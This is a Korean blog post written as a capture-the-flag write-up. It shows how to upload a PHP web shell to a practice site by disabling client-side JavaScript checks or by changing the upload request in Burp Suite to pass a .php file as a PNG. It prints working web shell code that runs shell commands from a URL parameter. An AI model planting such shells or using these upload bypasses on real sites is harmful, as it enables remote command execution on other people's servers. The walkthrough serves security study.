상세 컨텐츠

본문 제목

Segfault CTF - (14주 차) Web Shell 2

컴퓨터/보안 - CTF문제

by 디멘터 2024. 7. 21. 16:11

본문

※ 주의 : 보안 관련 학습은 자유이지만, 학습 내용을 사용한 경우 법적 책임은 행위자에게 있습니다.
(Note: Security-related learning is allowed, but the individual is solely responsible for any legal consequences arising from the use of the acquired knowledge.)


※ CTF - Capture The Flag
※ 문제 푸는 방법이 다양할 수도 있습니다.


SegFault CTF - Web Shell 2


1. 목표 : php 웹 쉘로 flag.txt 파일을 찾고 내용을 파악하여 플래그 획득

 

2. 접근 방법 

  • PHP로 웹쉘을 업로드하고 명령을 실행해 보면 될 것 같다.
  • 1번 문제와 같지만 보안이 추가된 문제일 것 같다.

3. 실행

  • php코드는 재활용 했다. 
    ☞ 아래 코드는 오히려 출력시 한글이 깨지므로 가장 기본적인 <?php echo system($_GET['cmd']); ?>로 하는 것을 권장드립니다.
    --------------websehll2.php --------------
    <?php
     // webshell2.php
    if (isset($_GET['cmd'])) {
       
        $output = shell_exec($_GET['cmd']);
        // 쉘 실행후 결과를 output 변수에 저장
        $output_utf8 = mb_convert_encoding($output, 'UTF-8', 'CP949');
        // output 변수를 UTF-8로 변환, 한글 없다면 변환하지 않아도 됨.
        echo "<pre>$output_utf8</pre>";
        // 변환된 결과를 출력

    } else {
        echo "No command.";
        // cmd 파라미터가 없는 경우 출력
    }
    ?>
    -------------------------------------------------------------------

  • 업로드에서 걸린다.
    업로드 확장자에서 걸렸다.
  • 방법 1) 필터링 우회 - 스크립트 중지 

    가만히 보니  create 클릭 순간 즉시 alert가 뜬다.
    반응 속도를 보니 이 것은 OSI 7 Layer를 거치는 통신이 아니라 스크립트인 것 같다.
    자바스크립트를 중지 시키자. 개발자도구 - F1 자바스크립트 사용중지.
    반응속도로 보니 스크립트인 것 같으니 스크립트를 꺼보자.

    그리고 create를 누르면, 다음 진행 페이지인 notice_write_process.php 페이지로 이동이 되면서 흰색 화면만 뜬다.

    게시글에 들어가 보면 업로드된 파일이 없는 것 처럼보이나, 경로를 타고 들어가보니 업로드는 되어있다.
    (정상 파일을 업로드 해봐서 이미 경로는 알고 있다.)
    웹 쉘은 성공적으로 올라갔다. 한글이 깨지는 것은 잘 모르겠다;☞코드를 잘못짜서 그렇다.

    나머지는 web shell 1과 같으니 생략하겠다. Segfault CTF - (14주 차) Web Shell 1

  • 방법 2)
    프록시 툴인 Burp Suite로 image 파일 인 것 처럼 변조하여서 올리는 것도 가능하다.
    png.png를 올리는 척 인터셉트한다.

    변조한다.

    이렇게 하면 alert('업로드 될 수 없는 파일이 탐지되었습니다. png.php');라고 뜰텐데, 실제로는 업로드가 된다.
    alert가 나오는게 싫다면 pHp로 우회하면된다.

    마찬가지로 나머지는 web shell 1과 같으니 생략하겠다. Segfault CTF - (14주 차) Web Shell 1

  • MIME(Multipurpose Internet Mail Extensions)
    Content-Type : image/png에 관하여

    Content-Type : 앞/뒤 이면,

    앞은 기본데이터 타입을 나타내고
    뒤는 세부 타입을 나타낸다.

    php라면 원래 아래와 같이 표현된다.
    Content-Type: application/x-httpd-php

    일단 더 자세한 내용은 잘 몰라서 php를 넣었는데 실행이 되었다.

관련글 더보기